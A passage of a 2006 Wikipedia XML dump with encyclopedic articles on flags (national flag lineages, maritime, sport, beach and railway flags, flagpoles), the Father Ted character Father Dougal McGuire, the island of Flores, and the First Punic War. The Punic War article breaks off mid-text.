* The [[flag of Scotland]], called the ''[[Saltire]]'' or ''[[St Andrew's Cross]]'', dates to the [[9th century]], and is the oldest [[nation]]al flag still in use. Notable flags which share the [[saltire]] design include the [[flag of Jamaica]], the [[Confederate Naval Jack]], the [[naval ensign]] and [[naval jack]] of [[Russia]] and the flag for the [[Canada|Canadian]] [[Provinces of Canada|Province]] of [[Nova Scotia]].  It also forms a key part in the design of the [[Union Flag]] of the [[United Kingdom]].
* The [[flag of Denmark|flag]] of [[Denmark]] is the oldest [[state]] flag still in use.  This flag, called the [[Dannebrog]], inspired the [[Nordic Cross Flag|cross design]] of other [[Nordic countries]].  ''Examples'': the [[Flag of the Faroe Islands|Faroe Islands]], [[Flag of Finland|Finland]], [[Flag of Iceland|Iceland]], [[Flag of Norway|Norway]], [[Flag of Sweden|Sweden]], [[Åland]].
* The [[flag of Switzerland|flag]] of [[Switzerland]], with its colours reversed, gave rise to the emblem of the [[International Red Cross]], which under [[international law]] is a safe conduct in war zones.
* The [[Flag of the United Kingdom|Union Flag]] of the [[United Kingdom]], more commonly (and correctly, when used by [[warship]]s at sea) called the [[Union Jack]].  British colonies typically flew a flag based on one of the ensigns based on this flag, and many former colonies have retained the design to acknowledge their cultural history.  ''Examples'': [[Flag of Australia|Australia]], [[Flag of Fiji|Fiji]], [[Flag of New Zealand|New Zealand]], [[Flag of Tuvalu|Tuvalu]], and also the Canadian provinces of [[Flag of Manitoba|Manitoba]] and [[Flag of Ontario|Ontario]], and the American state of [[Flag of Hawaii|Hawaii]]; ''see [[List of British flags]] and [[:Category:Ensign images]]''.
* The [[Flag of the Netherlands|Tricolor]] of [[The Netherlands]] is the oldest [[tricolor]], first appearing in [[1572]] as the Prince's Flag in [[orange]]–[[white]]–[[blue]].  Soon the more famous [[red]]–white–blue began appearing — it is however unknown why, though many stories are known. After [[1630]] the red–white–blue was the most commonly seen flag.  The Dutch Tricolor has inspired many flags but most notably those of [[Russia]] and [[France]], which spread the tricolor concept even further, as can be seen below. The Flag of [[the Netherlands]] is also the only flag in the world that is adapted for some uses, when the occasion has a connection to the royal house of the Netherlands an orange ribbon is added.
* The [[Tricolore|national flag]] of [[France]], also called the [[Tricolore]], which inspired other nations to adopt differenced [[tricolour]]s in sympathy with the revolutionary spirit with which the flag was designed in 1794.  ''Examples'' among many: [[Flag of Ireland|Ireland]], [[Flag of Italy|Italy]], [[Flag of Romania|Romania]], [[Flag of Mexico|Mexico]].
* The [[flag of the United States|flag]] of the [[United States]], also nicknamed ''The Stars and Stripes'' or ''Old Glory''.  In the same way that nations looked to France for inspiration, many countries were also inspired by the [[American Revolution]], which they felt was symbolized in this flag.  ''Examples'': [[Flag of Cuba|Cuba]], [[Flag of Chile|Chile]], [[Flag of Liberia|Liberia]], [[Flag of Malaysia|Malaysia]] The flag of Malaysia is also referred to as [[Jalur Gemilang]] or ''Glorious Stripes''.
* The [[Flag of Russia|flag]] of [[Russia]], the source for the [[Pan-Slavic colors]] adopted by many [[Slavic peoples|Slavic]] states and peoples as their symbols.  ''Examples'': [[Flag of Slovakia|Slovakia]], [[Flag of Serbia and Montenegro|Serbia and Montenegro]], [[Flag of Croatia|Croatia]], [[Flag of Bulgaria|Bulgaria]].
* [[Ethiopia]] was seen as a model by emerging [[Africa]]n states of the [[1950s]] and [[1960s]], as it was one of the oldest independent states in Africa.  Accordingly, its [[Flag of Ethiopia|flag]] became the source of the [[Pan-African colours]].  ''Examples'': [[Flag of Togo|Togo]], [[Flag of Senegal|Senegal]], [[Flag of Ghana|Ghana]], [[Flag of Mali|Mali]].
*The [[flag of Turkey|flag]] of [[Turkey]], which was the flag of the [[Ottoman Empire]], has been an inspiration for the flag designs of many other Muslim nations.  During the time of the Ottomans the [[crescent]] began to be associated with [[Islam]] and this is reflected on the flags of [[Flag of Algeria|Algeria]], [[Flag of Comoros|Comoros]], [[Flag of Malaysia|Malaysia]], [[Flag of Mauritania|Mauritania]], [[Flag of Pakistan|Pakistan]], [[Flag of Tunisia|Tunisia]], and the ''de facto'' country of the [[Flag of Northern Cyprus|Turkish Republic of Northern Cyprus]].
*The [[Pan-Arab colors]], [[green]], [[white]], [[red]] and [[black]], seen on the flags of [[Flag of Jordan|Jordan]], [[Flag of Kuwait|Kuwait]], [[Flag of Sudan|Sudan]], [[Flag of Syria|Syria]], the [[Flag of United Arab Emirates|United Arab Emirates]], [[Flag of Western Sahara|Western Sahara]], [[Flag of Yemen|Yemen]] and on the [[Palestinian flag]].
*The [[Soviet flag]], with its golden symbols of the [[proletariat]] on a red field, was an inspiration to flags of other [[communism|communist]] states, such as [[Flag of East Germany|East Germany]], [[Flag of the People's Republic of China|People's Republic of China]], [[Flag of Vietnam|Vietnam]], [[Flag of Angola|Angola]], [[Flag of Afghanistan|Afghanistan]] and [[Flag of Mozambique|Mozambique]].
*The [[Flag of Venezuela|flag]] of [[Venezuela]], created by [[Francisco de Miranda]] to represent the independence movement in Venezuela that later gave birth to the [[Republic of Gran Colombia|&quot;Gran Colombia&quot;]], inspired the individual flags of [[Flag of Colombia|Colombia]], [[Flag of Ecuador|Ecuador]] and [[Flag of Bolivia|Bolivia]], all sharing three bands of colour and three of them (Colombia, Ecuador, and Venezuela) sharing the [[yellow]], [[blue]] and [[red]].
*The [[Flag of Argentina|flag]] of [[Argentina]], created by [[Manuel Belgrano]] during the war of independence, was the inspiration for the [[United Provinces of Central America]]'s flag, which in turn was the origin for the flags of [[Guatemala]], [[El Salvador]], [[Honduras]], and [[Nicaragua]].

==Flags at sea==
{{main|Maritime flags}}

Flags are particularly important at sea, where they can mean the difference between life and death, and consequently where the rules and regulations for the flying of flags are strictly enforced. A national flag flown at sea is known as an [[ensign]]. A courteous, peaceable [[merchant navy|merchant ship]] or [[yacht]] customarily flies its ensign (in the usual ensign position), together with the flag of whatever nation it is currently visiting at the mast (known as a [[courtesy flag]]). To fly one's ensign alone in foreign waters, a foreign port or in the face of a foreign warship traditionally indicates a willingness to fight, with [[cannon]], for the right to do so. [[As of 2006]], this custom is still taken seriously by many naval and port authorities and is readily enforced in many parts of the world by boarding, confiscation and other civil penalties.

In some countries yacht ensigns are different from merchant ensigns in order to signal that the yacht is not carrying [[cargo]] that requires a [[customs]] declaration. Carrying commercial cargo on a boat with a yacht ensign is deemed to be [[smuggling]] in many jurisdictions.

There is a system of [[International maritime signal flags]] for numerals and letters of the alphabet. Each flag or [[pennant]] has a specific meaning when flown individually.

As well, [[semaphore (communication)|semaphore]] flags can be used to communicate on an ''ad hoc'' basis from ship to ship over short distances.

==Shape and design==
{{main|Flag terminology}}

[[Image:Flag of Nepal.svg|thumb|right|120 px|[[Flag of Nepal]]]]
Flags are usually rectangular in shape, but may be of any shape or size that is practical for flying.  Named shapes include square (e.g., the national [[flag of Switzerland]] and the state [[flag of the Vatican City]]), pennant, double pennant (e.g., the [[US state|state]] [[flag of Ohio]]), swallowtail, triangular or swallowtail [[burgee]], [[gonfanon]] and [[oriflamme]].  A more unusual flag shape is that of the [[flag of Nepal]], which is in the shape of two stacked triangles.

Often the image is [[through and through]], in which case there are two possibilities:
*the image is [[symmetric]]al in an axis parallel to the flag pole, so the image is the same when viewed from the other side
*when viewed from the other side one sees the [[mirror image]]; this is very common and usually not disturbing if there is no text in the flag — the whole image of flag with flag staff is not the same anyway, with the staff on the other side; examples are the [[flag of the United States]] with stars and stripes on the hoist-side, and the former Nazi [[swastika]] flag at sea (compare with the flag on land mentioned below)

If the image is not through and through there are also two possibilities:
*the image is not symmetric, nevertheless the image is the same when viewed from the other side; for example the former Nazi swastika flag on land ([http://flagspot.net/flags/de1933_o.html], at the bottom)
*the image is different; examples are the national [[flag of Paraguay]], the state [[flag of Oregon]] and the now-obsolete [[flag of the Soviet Union]].

[[image:Flag of Kiribati.svg|thumb|left|200 px|[[Flag of Kiribati]]]]
Common designs on flags include crosses, stripes, and divisions of the surface, or ''field'', into bands or quarters — patterns and principles mainly derived from [[heraldry]]. A heraldic coat of arms may also be flown as a ''[[Banner#Heraldic banners|banner of arms]]'', as is done on both the state [[flag of Maryland]] and the [[flag of Kiribati]]. Writing occasionally features on flags — for example, on several flags of U.S. states, or on [[revolution]]ary flags of the former [[Soviet Union]]. The practice is, however, not widely favoured, as it is expensive to reproduce accurately and is either difficult to read on the reverse of a flag (in mirror image), or sewn on both sides of the flag, making the flag too heavy to fly properly.

The [[flag of Libya]], which consists of a rectangular field of green, is the only national flag using a single color and no design or insignia.

==In sports==

[[Image:Flags-NapierNewZealand.jpg|thumb|Flags flown on a beach.]]
Because of their ease of signalling and identification, flags are often used in [[sport]]s.

* In [[American Football|American]] and [[Canadian football]],  [[referee]]s use flags to indicate an error has been made in game play.  The phrase used for such an indication is ''flag on the play''.  The flag itself is a small, weighted handkerchief, tossed on the field at the approximate point of the infraction; the intent is usually to sort out the details after the current play from scrimmage has concluded.  In American football, the flag is usually yellow; in Canadian football, it is usually red.
* In [[auto racing|auto]] and [[motorcycle racing]], [[racing flags]] are used to communicate with drivers.  Most famously, a checkered flag of black and white indicates the end of the race, and victory for the leader. A yellow flag is used to indicate caution requiring slow speed and a red flag requires racers to stop immediately. A black flag is used to indicate penalties.
* In [[football (soccer)|Association football (soccer)]], [[Assistant Referee (Football)|linesmen]] carry small flags along the touch lines.  They use the flags to indicate to the [[Referee (Football)|referee]] potential infringements of the laws, or who is entitled to possession of the ball that has gone out of the field of play, or, most famously, raise the flag overhead to indicate an [[offside law (football)|offside]] offence. Officials called ''touch judges'' use flags for similar purposes in both codes of [[Rugby football|rugby]].
* In addition, fans of almost all sports wave flags in the stands to indicate their support for the participants.  Many sports teams have their own flags, and, in individual sports, fans will indicate their support for a player by waving the flag of his or her home country.
* [[Capture the flag]] is a popular children's sport.

== Bathing flags ==
[[Image:Flags - swim between the.jpg|thumb|Open bathing area]]
[[Image:Flags - crossed - do not swim.jpg|thumb|Closed bathing area]]

In [[Australia]], [[New Zealand]], [[Philippines]], and the [[United Kingdom]] a pair of red/yellow flags is used to mark the limits of the bathing area on a beach, usually guarded by [[surf lifesaving|surf lifesavers]].  If the beach is closed, the poles of the flags are crossed. The flags are coloured with a red triangle and a yellow triangle making a rectangular flag, or a red rectangle over a yellow rectangle. On many Australian beaches there is a slight variation with beach condition signalling. A red flag signifies a closed beach (or, in the UK, some other danger), yellow signifies strong current or difficult swimming conditions, and green represents a beach safe for general swimming. Blue flags may also be used away from the yellow-red lifesaver area to designate a zone for surfboarding and other small, non-motorised watercraft. 

Reasons for closing the beach include:
* no lifeguards in attendance
* waves too strong
* dangerous rip
* sharks
* tsunami

A surf flag exists, divided into four quadrants. The top left and bottom right quadrants are black, and the remaining area is white.

[[International maritime signal flags|Signal flag]] &quot;India&quot; (a black circle on a yellow square) is frequently used to denote a &quot;blackball&quot; zone where surfboards cannot be used but other water activities are permitted.

== Railway flags ==

Railways use a number of colored flags, usually with the following meanings:

* red = stop
* yellow = proceed with care
* green or white or blue = proceed.
* a flag of any color waved vigorously means stop

* A blue flag on the side of a locomotive means that it should not be moved because someone is working on it (or on the train attached to it). A blue flag on a track means that nothing on that track should be moved. The flag can only be removed by the person or group that placed it.

At night, the flags are replaced with lanterns showing the same colors.

[[Railway signal]]s are a development of railway flags.

== Flagpoles ==
[[Image:Panmunjeom north flagpole 2005 02 02.jpg|thumb|200px|The world's tallest flagpole (160 m), over [[Panmunjeom]], [[North Korea]]]]
A flagpole or flagstaff can be a simple support made of wood or metal.  If it is taller than can be easily reached to raise the flag, a cord is used, looping around a pulley at the top of the pole with the ends tied at the bottom. The flag is fixed to one lower end of the cord, and is then raised by pulling on the other end. The cord is then tightened and tied to the pole at the bottom.  The pole is usually topped by a flat plate called a &quot;truck&quot; (originally meant to keep a wooden pole from splitting) or by a ball or a [[finial]] in a more complex shape.

Very high flagpoles may require more complex support structures than a simple pole, such as guy wires, or need be built as a mast. The '''highest flagpole''' in the world, at 160 metres, is that at [[Korean Demilitarized Zone|Gijeong-dong]] in [[North Korea]], the flag weighing about 270 kilograms when dry. The world's '''biggest regularly hoisted flag''', however, is the Brazilian national flag flown in the Square of the Three Powers in [[Brasilia]], the capital of [[Brazil]]. This flag weighs about 600 kilograms when dry and measures 70×100 metres. It can be seen from all parts of Brasilia and its flagpole is the tallest structure in the city.
The '''tallest free-standing flagpole''' in the world is in [[Aqaba]], [[Jordan]], with a total height of 132 meters. The second tallest free standing flagpole in the world is also in [[Jordan]] but in the capital, [[Amman]]. It reaches a height of 126 meters, and hoists a flag which measures 60×40 meters, and is illuminated at night, and can be seen from 25 km away.

Sometimes a flag hangs from a pole or rope, the latter especially in the case of multiple small flags.

A flag patch is also often sewn on uniforms.

== Flag facts ==
* The [[flag of Nepal]] is the only national flag which isn't square or rectangular: it is in the shape of two triangles.
* The [[flag of Libya]] is the only national flag which is a single colour: green.
* The flags of [[flag of Switzerland|Switzerland]] and [[flag of Vatican City|Vatican City]] are the only national flags which are exact squares.
* The most popular colour combinations are:  red, white, and blue (mainly [[Europe]]an and Western nations)  and red, yellow, and green (mainly [[Africa|African]] nations) The [[Olympic rings]] - blue, yellow, black, green and red represent colours used at least once in every national flag around the world.
* Some countries have the same or very similar national flags as other nations, for example:
** [[Flag of India|India]] and [[flag of Niger|Niger]]
** [[Flag of Monaco|Monaco]] and [[flag of Indonesia|Indonesia]] (or [[flag of Poland|Poland]] upside-down)
** [[Flag of Chad|Chad]] and [[flag of Romania|Romania]]
** The flags of [[flag of Luxembourg|Luxembourg]] and the [[flag of the Netherlands|Netherlands]] differ only in their shades and ratios
** [[flag of Guinea|Guinea]] and [[flag of Mali|Mali]] have the same flag, flipped horizontally
** [[flag of Ireland|Ireland]] and the [[Flag of Côte d'Ivoire|Ivory Coast]] also have the same flag, flipped horizontally
** [[flag of Italy|Italy]] and [[flag of Mexico|Mexico]] have the same colors.
** The following national flags are like 'negatives' of each other: 
*** [[flag of Costa Rica|Costa Rica]] and [[flag of Thailand|Thailand]]; 
*** [[flag of Puerto Rico|Puerto Rico]] and [[flag of Cuba|Cuba]]
*** [[flag of Iceland|Iceland]] and [[flag of Norway|Norway]]

==See also==
*[[List of sovereign state flags]]
*[[List of flags]]
*[[Flag Day]]
*[[Unofficial Flags]]
*[[Flag Terminology]]
*[[Vexillology]]
*[[Flag desecration]]
*[[Flag throwing]]
*[[Flagpole annexation]]
*[[Standard-bearer]] (also enumerates various types of standards, both flag types and immobile ensigns)
*[[Gallery of flags by design]]
*[[List of flag names]]

==References==
*William G. Crampton; ''The World of Flags''; Rand McNally; ISBN 0-528-83720-6 (hardcover, [[1994]]).
*''Ultimate Pocket Flags of the World''; [[Dorling Kindersley]]; ISBN 0-7894-2085-6; (1st American edition, hardcover, [[1996]]).

==External links==
*[http://www.fotw.net fotw.net], [[Flags of the World]], an outstanding source of vexillological information, contributed to by a group of international volunteers.
*[http://www.webflags.com Web Flags], comprehensive database of world flags and maps
*[http://www.flags.net World Flag Database]
*[http://www.flaginstitute.org The Flag Institute (UK)]
* [http://reference.allrefer.com/world/facts/flags.html Country Flags]
*[http://www.flagsfantastic.com.au Flags Fantastic - world flags, flag protocol, display &amp; care]
*[http://chinese-school.netfirms.com/other-article-flags.html History of Flags]
*[http://www.piggotts.co.uk One of the earliest suppliers of flags and banners. (Since 1780)]
*[http://openclipart.org/cgi-bin/navigate/signs_and_symbols/flags Open Clip Art Library, flags category] ([[Scalable Vector Graphics|SVG]] and [[PNG]] formats)
*[http://www.nava.org NAVA: North American Vexillological Association]
*[http://www.flags-and-anthems.com Flags and anthems]

{{Lists of flags}}
[[Category:Flags| ]]
[[Category:National symbols]]

[[am:ሰንደቅዓላማ]]
[[bg:Знаме]]
[[ca:Bandera]]
[[cs:Vlajka]]
[[da:Flag]]
[[de:Flagge]]
[[et:Lipp]]
[[es:Bandera]]
[[eo:Flago]]
[[fr:Drapeau]]
[[it:Bandiera]]
[[he:דגל]]
[[nl:Vlag]]
[[ja:&amp;#26071;]]
[[no:Flagg]]
[[pl:Flaga]]
[[pt:Bandeira]]
[[ru:Флаг]]
[[sl:Zastava]]
[[sv:Flagga]]
[[fi:Lippu]]
[[tr:Bayrak]]
[[uk:Прапор]]
[[fiu-vro:Lipuq]]
[[wa:Drapea]]</text>
    </revision>
  </page>
  <page>
    <title>Father Dougal McGuire</title>
    <id>11425</id>
    <revision>
      <id>41618121</id>
      <timestamp>2006-02-28T15:32:18Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Fictional Irishmen and women]] → [[Category:Fictional Irish people]].  Requested change by [[User:Kbdank71|]]</comment>
      <text xml:space="preserve">[[Image:Father_Dougal.jpg|right|thumb|150 px|[[Ardal O'Hanlon]] as Father Dougal]] 
'''Father Dougal McGuire''' is a character in the comedy series ''[[Father Ted]]'', played by the actor [[Ardal O'Hanlon]]. Renowned for sleeping in his [[Irish national football team]] shirt and [[He-Man]] sheets, Father Dougal is one of life's innocents. He quite cheerfully admits that &quot;the lights are on but no one's home&quot;.

It is unclear how or why Dougal became a priest, and how or why he is allowed to remain one. Just as unclear is his presence on [[Craggy Island]], though it has been alluded to that he was sent there by Bishop Brennan as a result of some act of stupidity which led to a mysterious incident that put the lives of hundreds of [[nun]]s in danger. He is &quot;addicted&quot; to [[rollerblading]] and often dreams about [[Carol Vorderman]] presenting ''[[Countdown (game show)|Countdown]]'' naked. He doesn't really believe in organised religion, and never seems quite sure what the clergy are meant to do (he famously mistakes bishops for some sort of sci-fi loving insect exterminators). He often wears a dated red sleeveless jumper over priestly black.

He has obvious trouble distinguishing between real life and dreams, and almost never has enough wits about him for the task at hand. For example, Dougal and Ted visit a tourist attraction and see a map poster with the legend &quot;You Are Here&quot;.  Dougal exclaims &quot;Wow! How did they know that?&quot;

In another scene Ted compares some toy cows with the real cows in a nearby field: &quot;Now, let's try it again, Dougal: ''these'' are small, but ''those'' are far away. Small...far away. Small...far away.&quot; Dougal shakes his head in amiable incomprehension.

:Ted: &quot;Dougal, fantastic news!&quot;
:Dougal: &quot;You're getting married!?&quot;
:Ted: (pause) &quot;Is that a joke?&quot;
:Dougal: &quot;Er, yeah...&quot;
(Remember that Catholic priests are required to practice [[clerical celibacy|celibacy]].)

Upon the death of [[Pope John Paul II|John Paul II]] in [[2005]], [[Ireland|Irish]] bookmakers included him in the running for the next [[pope]] (albeit as a joke with odds of 1,000 to 1).  This is actually better odds than many real-life [[cardinal (Catholicism)|cardinal]]s and [[archbishop]]s, surprising the [[Roman Curia|Vatican]].  Some small bets were actually received from punters, which is testimony to the popularity of the character and the humour of the Irish and other gamblers.

==See also==
*[[Father Ted Crilly]]
*[[Mrs Doyle]]
*[[Father Jack Hackett]]

[[Category:Father Ted characters|McGuire, Dougal]]
[[Category:Fictional Catholics|McGuire, Dougal]]
[[Category:Fictional Irish people|McGuire, Dougal]]
[[Category:Fictional religious workers|McGuire, Dougal]]</text>
    </revision>
  </page>
  <page>
    <title>Flores</title>
    <id>11426</id>
    <revision>
      <id>39200461</id>
      <timestamp>2006-02-11T12:45:35Z</timestamp>
      <contributor>
        <username>Qrfqr</username>
        <id>343011</id>
      </contributor>
      <text xml:space="preserve">{{otherplaces}}

[[Image:Flores map.png|frame|Map of Flores Island]]
&lt;!--[[Image:Lesser_Sunda_Islands.png|thumb|300px|right|Map of Lesser Sunda Islands]]--&gt;

'''Flores''' ([[Portuguese language|Portuguese]] for &quot;[[flower]]s&quot;) is one of the [[Lesser Sunda Islands]], an [[island arc]] with an estimated area of 14,300 km² extending east from the [[Java (island)|Java]] island of [[Indonesia]]. Flores is located  east of [[Sumbawa]] and [[Komodo]]  and west of [[Lembata]] and the [[Alor]] archipelago. To the southeast is [[Timor]]. To the south, across the Sumba strait, is [[Sumba]] and to the north, beyond the [[Flores Sea]], is [[Sulawesi]].

==Administration==
Flores is part of the [[East Nusa Tenggara]] province. The island is split into five [[Regency (Indonesia)|regencies]] (local government districts); from west to east these are: [[Manggarai]], [[Ngada]], [[Ende Regency|Ende]], [[Sikka]] and [[Flores Timur]].

==Geography==

Flores has several active and dormant [[volcanoes]], including [[Egon]], [[Ilimuda]], [[Lereboleng]], and [[Lewotobi]] (see the [[List_of_volcanoes#Indonesia|full list]]).

==Flora and fauna==
The west coast of Flores is one of the few places, aside from the island of [[Komodo]] itself, where the [[Komodo dragon]] can be found in the wild. The [[Flores giant rat]] is also endemic to the Island.

In September 2003, at [[Liang Bua Cave]] in western Flores, [[paleoanthropologist]]s discovered skeletons of a previously unknown [[hominid]] [[species]].  ''[[Homo floresiensis]]'', affectionately termed ''[[hobbit]]s'', appear to be miniaturized versions of ''[[Homo erectus]]'' standing about one [[metre]] tall.  They may have existed until as recently as [[Upper Paleolithic|11,000 BC]]. Local reports of [[elf]]-like people, the [[Ebu Gogo]], or the [[Orang Pendek]] of Sumatra, have caused speculation that Flores man may have survived into the historical period, or even to the present.  The discovery has been published in the [[October 28]], [[2004]] issue of ''[[Nature (journal)|Nature]]'' magazine.
[http://www.nature.com/news/specials/flores/index.html]

==Culture==
[[Image:Jesus_Statue_Maumere.jpg|thumb|A statue of Jesus in Maumere, Flores]]

There are many languages spoken on the island of Flores, all of them belonging to the [[Austronesian]] family.  In the centre of the island in the districts of [[Ngada]] and [[Ende Regency|Ende]] there is what is variously called the Central Flores Dialect Chain or the Central Flores Linkage.  Within this area there are slight [[linguistic]] differences in almost every village.   At least six separate languages are identifiable.  These are from west to east: [[Ngadha]], [[Nage]], [[Keo language|Keo]], [[Ende language|Ende]], [[Lio]] and [[Palu'e]], which is spoken on the island with the same name of the north coast of Flores.  Locals would probably also add [[So'a]] and [[Bajawa]] to this list, which anthropologists have labeled dialects of Ngadha. 

[[Portugal|Portuguese]] traders and missionaries came to Flores in the 16th century, mainly to [[Larantuka]] and [[Sikka]].  Their influence is still dicernible in Sikka's language and culture.

Flores is almost all Catholic and represents one of the &quot;religious borders&quot; created by the Catholic expansion in the Pacific and the spread of Islam from the west across Indonesia. In other places in Indonesia, such as in the Malukus and Sulawesi the divide is less stark and has created bloody conflict.

==Tourism==

The most famous tourist attraction in Flores is [[Kelimutu]]; three coloured lakes in the district of Ende.  These coloured lakes change colours on a regular basis.  The latest colours (late 2004) were said to be turquoise, brown and black. 

There is good [[snorkelling]] and [[diving]] on several locations along the north coast of Flores, most notably [[Maumere]] and [[Riung]].  However, due to the destructive practice of local fishermen using bombs to fish, and locals selling shells to tourists, the reefs are slowly being destroyed.

==References==
* [http://www.nature.com/news/specials/flores/index.html Flores Man special at Nature.com]

[[Category:Islands of Indonesia]]

[[ca:Flores (Indonèsia)]]
[[de:Flores (Indonesien)]]
[[es:Flores (isla)]]
[[fr:Florès (Indonésie)]]
[[ko:플로레스 섬]]
[[id:Flores]]
[[nl:Flores (Indonesië)]]
[[ja:フローレス島 (インドネシア)]]
[[pl:Flores (wyspa)]]
[[fi:Flores]]</text>
    </revision>
  </page>
  <page>
    <title>First Punic War</title>
    <id>11427</id>
    <revision>
      <id>42126712</id>
      <timestamp>2006-03-04T00:15:37Z</timestamp>
      <contributor>
        <username>Sylvain Mielot</username>
        <id>157845</id>
      </contributor>
      <minor />
      <comment>Revert edit by 69.84.115.111</comment>
      <text xml:space="preserve">{{Campaignbox Punic_Wars}}
{{Campaignbox First Punic_War}}
The '''First Punic War''' ([[264 BC|264]] to [[241 BC]]) was the first of [[Punic Wars|three major wars]] fought between [[Carthage]] and the [[Roman Republic]]. For 23 years, the two powers struggled for supremacy in the western [[Mediterranean Sea]]. Eventually, Rome emerged the victor, imposing strict treaty conditions, and heavy financial penalties against Carthage. The First Punic War marked the beginning of a sixty year period of Roman expansion which would leave them in control of most of the Mediterranean basin.

The series of wars between Rome and Carthage were known to the Romans as the &quot;Punic Wars&quot; because of the [[Latin (language)|Latin]] name for the Carthaginians: ''Punici'', derived from ''Phoenici'', referring to the Carthaginians' [[Phoenicia]]n ancestry.
 
==Background==
In the middle of the [[3rd century BC]], the power of Rome was growing. Following centuries of internal rebellions and disturbances, the whole of the [[Italian peninsula]] was tightly secured under Roman hands. All enemies — such as the [[Latin league]] and the [[Samnite]]s — had been overcome, and the invasion of [[Pyrrhus of Epirus]] had been repelled. Romans had enormous confidence in their political system and military.

Across the [[Tyrrhenian Sea]] and the [[Strait of Sicily]], Carthage was already the dominant naval and commercial power, controlling most of the Mediterranean maritime [[trade route]]s. Originally a Phoenician colony, the city had become the center of a wide empire reaching along the [[North Africa]]n coast as well as covering parts of the [[Iberian peninsula|Iberia]] in Europe. The series of wars with Rome, which included a Carthaginian invasion led by [[Hannibal]], nearly prevented the rise of the [[Roman Empire]]. Eventual victory by Rome was a turning point which meant that the civilization of the ancient [[Mediterranean]] would pass to the modern world via Europe instead of Africa.

== Beginning ==
In [[288 BC]], the [[Mamertines]], a group of Italian mercenaries, occupied the city of [[Messina, Italy|Messina]] in the northeastern tip of [[Sicily]], killing all the men and taking the women as their wives. From here, they ravaged the countryside and became a problem for the independent city of [[Syracuse, Italy|Syracuse]]. When [[Hiero II of Syracuse|Hiero II]], tyrant of Syracuse, came to power in [[265 BC]], he decided to take definitive action against the Mamertines and besieged Messina. The Mamertines then appealed for help simultaneously to Rome and Carthage. At first, the Romans did not wish to come to the aid of soldiers who had unjustly stolen a city from its rightful possessors. Moreover, Rome had recently dealt with an insurrection of mercenaries following the defeat of Pyrrhus of Epirus ([[Battle of Rhegium|Rhegium]], 271) and was probably reluctant to help this faction now, so Carthage was the first city to respond to the plea and send troops to the area. Most likely unwilling to see Carthaginian power spread further over Sicily and get too close to Italy, Rome responded by entering into an alliance with the Mamertines. In [[264 BC]], Roman troops were deployed to Sicily (the first time a Roman army acted outside the Italian peninsula) and forced a reluctant Syracuse to join their alliance. Soon enough the only parties in the dispute were Rome and Carthage and the conflict evolved into a struggle for the possession of Sicily.

==Land warfare==
Sicily is a hilly island, with geographical obstacles and a terrain where lines of communication are difficult to maintain. For this reason land warfare played a secondary role in the First Punic War. Land operations were mostly confined to small scale raids and skirmishes between the armies, with hardly any pitched battle. [[Siege]]s and land blockades were the most common operations for the regular army. The main targets of blockading were the important naval ports, since neither of the belligerent parties were based in Sicily and both needed a continuous supply of reinforcements and communication with the mainland.

Despite these general considerations, at least two large scale land campaigns were fought during the First Punic War. In [[262 BC]], Rome besieged the city of [[Agrigentum]], an operation that involved both consular armies - a total of four [[Roman legion]]s - and took several months to resolve. The garrison of Agrigentum managed to call for reinforcements and a Carthaginian relief force commanded by [[Hanno]] came to the rescue. With the supplies from Syracuse cut, the Romans found themselves also besieged and constructed a line of [[circumvallation]]. After a few skirmishes, the [[battle of Agrigentum]] was fought and won by Rome, and the city fell.

Inspired by this victory, Rome attempted ([[256 BC|256]]/[[255 BC]]) another large scale land operation, this time with different results. Following several naval battles, Rome was aiming for a quick end to the war and decided to invade the Carthaginian colonies of Africa, to force the enemy to accept terms. A major fleet was built, both of transports for the army and its equipment and warships for protection. Carthage tried to intervene but was defeated in the [[battle of Cape Ecnomus]]. As a result, the Roman army, commanded by [[Marcus Atilius Regulus]], landed in Africa and began ravaging the Carthaginian countryside. At first Regulus was victorious, winning the [[battle of Adys]] and forcing Carthage to sue for peace. The terms were so heavy that negotiations failed and, in response, the Carthaginians hired [[Xanthippus]], a [[Spartan]] [[mercenary]], to reorganize the army. Xanthippus managed to cut off the Roman army from its base by re-establishing Carthiginian naval supremacy, then defeated and captured Regulus at the [[battle of Tunis]].

Towards the end of the conflict ([[249 BC]]), Carthage sent general [[Hamilcar Barca]] ([[Hannibal]]'s father) to Sicily. Hamilcar managed to gain control of most of inland Sicily; in desperation, the Romans appointed a [[Roman dictator|dictator]] to resolve the situation. Nevertheless, Carthaginian success in Sicily was secondary to the progress of the war at sea; Hamilcar remaining undefeated in Sicily became irrelevant following the Roman naval victory at the [[battle of the Aegates Islands]] in [[241 BC]].

==Naval warfare==
Due to the difficulty of operating in Sicily, most of the First Punic War was fought at sea, including the most decisive battles. Moreover, naval warfare permitted an efficient blockade of enemy ports, and consequently of reinforcement and supply for the inland troops. Both sides of the conflict had publicly funded fleets. This fact compromised Carthage and Rome's finances and eventually decided the course of the war. 

At the beginning of the First Punic War, Rome had virtually no experience in [[naval warfare]], whereas Carthage had a great deal of experience on the seas thanks to its centuries of sea-based trade. Nevertheless, the growing Roman Republic soon understood the importance of Mediterranean control in the outcome of the conflict. 

The first major Roman fleet was constructed after the victory of Agrigentum in [[261 BC]]. Some historians have speculated that since Rome lacked advanced naval technology the design of the warships was probably copied verbatim from captured Carthaginian [[trireme]]s and [[quinquereme]]s or from ships that have beached on Roman shores due to storms. Other historians have pointed out that Rome did have experience with naval technology, as she patrolled her coasts against [[piracy]]. Regardless of the state of their naval technology at the start of the war, Rome quickly adapted.

Perhaps in order to compensate for the lack of experience, and to make use of standard land military tactics on sea, the Romans equipped their new ships with a special boarding device, the ''[[corvus (weapon)|corvus]]''. Instead of manuevering to ram, which was the stardard naval tactic at the time, corvus  equipped ships would maneuver alongside the enemy vessel, deploy the bridge which would attach to the enemy ship through spikes on the end of the bridge, and send [[legionnaires]] across as boarding parties.

The new weapon's efficiency was first proved in the [[battle of Mylae]], the first Roman naval victory, and continued to prove its value in the following years, especially in the huge [[Battle of Ecnomus]]. The addition of the ''corvus'' forced Carthage to review its military tactics, and since the city had difficulty in doing so, Rome had the naval advantage. Later, as Roman experience in naval warfare grew, the ''corvus'' device was abandoned due to its impact on the navigability of the war vessels. 

